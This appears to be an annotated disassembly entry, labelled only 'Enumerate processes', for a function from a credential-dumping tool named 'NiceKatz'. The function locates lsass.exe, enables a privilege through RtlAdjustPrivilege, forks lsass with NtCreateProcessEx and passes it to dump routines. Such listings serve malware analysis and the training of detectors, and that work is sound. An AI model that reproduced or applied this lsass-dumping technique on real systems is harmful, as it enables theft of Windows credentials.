Function at 0x140001880
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x140007008]
xor rax, rsp
mov qword [rbp + 0x200], rax
xorps xmm0, xmm0
lea rcx, [rbp - 0x80]
movups xmmword [rbp - 0x80], xmm0
movups xmmword [rbp - 0x70], xmm0
movups xmmword [rbp - 0x60], xmm0
movups xmmword [rbp - 0x50], xmm0
call fcn.140001dd0
test eax, eax
je 0x140001d9c
cmp dword [rbp - 0x70], 0
jne 0x140001a7e
xor edx, edx
mov dword [rbp - 0x40], 0x238
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x14000195c
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
mov r9d, 0x800
mov ebx, eax
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x68]
mov dword [rsp + 0x28], edi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x68], rdi
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x68]
lea rdx, str.CreateTollhelp32Snapshot
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001d9c
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
test eax, eax
jne 0x1400019d0
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
mov r9d, 0x800
mov ebx, eax
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x50]
mov dword [rsp + 0x28], edi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x50], rdi
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rdx, str.Process32First
mov r9, qword [rsp + 0x50]
lea rcx, str.____The_function__S_failed_with_error_code__d____S
mov r8d, ebx
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001d9c
lea rdx, str.lsass.exe
lea rcx, [rbp - 0x14]
call qword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
test eax, eax
je 0x140001a69
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x1400019d0
lea rcx, str.____NiceKatz_was_unable_to_retrieve_lsass_PID.._n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
xor edi, edi
mov r9d, 0x800
mov ebx, eax
mov qword [rsp + 0x30], rdi
lea rax, [rsp + 0x58]
mov dword [rsp + 0x28], edi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov qword [rsp + 0x58], rdi
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x58]
lea rdx, str.Process32Next
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001d9c
mov edx, dword [rbp - 0x38]
lea rcx, str.___Found_lsass_PID:__d_n
call fcn.140001010
mov eax, dword [rbp - 0x38]
mov dword [rbp - 0x70], eax
lea rcx, [0x140004bc8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
xor edi, edi
mov rsi, rax
test rax, rax
jne 0x140001afd
lea rcx, str.____Failed_to_get_a_handle_to_ntdll_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rdi
mov r9d, 0x800
mov ebx, eax
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x58]
lea rdx, str.GetModuleHandle
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
lea rdx, str.RtlAdjustPrivilege
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140007658], rax
test rax, rax
jne 0x140001b67
lea rcx, str.____Could_not_find_RtlAdjustPrivilege_in_NTDLL
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rdi
mov r9d, 0x800
mov ebx, eax
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
lea rdx, [0x140004c70]
jmp 0x1400019ac
xor r8d, r8d
mov byte [rsp + 0x70], dil
lea r9, [rsp + 0x70]
mov dl, 1
lea ecx, [r8 + 0x14]
call rax
test eax, eax
je 0x140001b8c
lea rcx, str.RtlAdjustPrivilege_failed_n
jmp 0x140001d97
mov r8d, 0x480
mov qword [rsp + 0x60], rdi
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.1400022c0
test eax, eax
je 0x140001cff
mov rsi, qword [rsp + 0x60]
lea rcx, [0x140004bc8]
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
jne 0x140001c31
lea rcx, str.____Could_not_get_a_handle_to_Ntdll_n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rdi
mov r9d, 0x800
mov ebx, eax
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0x58]
mov qword [rsp + 0x58], rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x58]
lea rdx, str.GetModuleHandle
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001cf0
lea rdx, str.NtCreateProcessEx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x140007648], rax
test rax, rax
jne 0x140001cb7
lea rcx, str.____Could_not_find_NtCreateProcessEx_in_NTDLL
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov qword [rsp + 0x30], rdi
mov r9d, 0x800
mov ebx, eax
mov dword [rsp + 0x28], edi
lea rax, [rsp + 0x50]
mov qword [rsp + 0x50], rdi
mov r8d, ebx
mov qword [rsp + 0x20], rax
xor edx, edx
mov ecx, 0x1300
call qword [sym.imp.KERNEL32.dll_FormatMessageW]
mov r9, qword [rsp + 0x50]
lea rdx, [0x140004c70]
mov r8d, ebx
lea rcx, str.____The_function__S_failed_with_error_code__d____S
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.KERNEL32.dll_LocalFree]
jmp 0x140001cf0
mov dword [rsp + 0x40], edi
lea rcx, [rsp + 0x60]
mov qword [rsp + 0x38], rdi
mov r9, rsi
mov qword [rsp + 0x30], rdi
xor r8d, r8d
mov qword [rsp + 0x28], rdi
mov edx, 0x410
mov dword [rsp + 0x20], edi
call rax
test eax, eax
je 0x140001d39
lea rcx, str.NtCreateProcess_failed__n
call fcn.140001010
mov edx, dword [rbp - 0x70]
lea rcx, str.____Failed_forking_remote_process._Trying_to_dump_PID__d_witout_forking..._n
call fcn.140001010
mov r8d, 0x410
lea rdx, [rbp - 0x70]
lea rcx, [rsp + 0x60]
call fcn.1400022c0
test eax, eax
je 0x140001d9c
mov eax, dword [rbp - 0x70]
cmp dword [rbp - 0x74], edi
je 0x140001d70
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x80]
mov edx, eax
call fcn.140001070
test eax, eax
jne 0x140001d89
jmp 0x140001d9c
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov rcx, rsi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8d, ebx
lea rcx, str.___Forked_PID__d_successfully._Forked_process_PID:__d_n
mov edx, eax
call fcn.140001010
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [rbp - 0x70], eax
jmp 0x140001d1e
cmp dword [rbp - 0x78], edi
je 0x140001d90
mov rcx, qword [rsp + 0x60]
lea r8, [rbp - 0x80]
mov edx, eax
call fcn.140002590
test eax, eax
je 0x140001d9c
mov eax, 1
jmp 0x140001d9e
lea rcx, str.ERROR:__m_option_is_mandatory__n
call fcn.140001010
xor eax, eax
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.140002fb0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret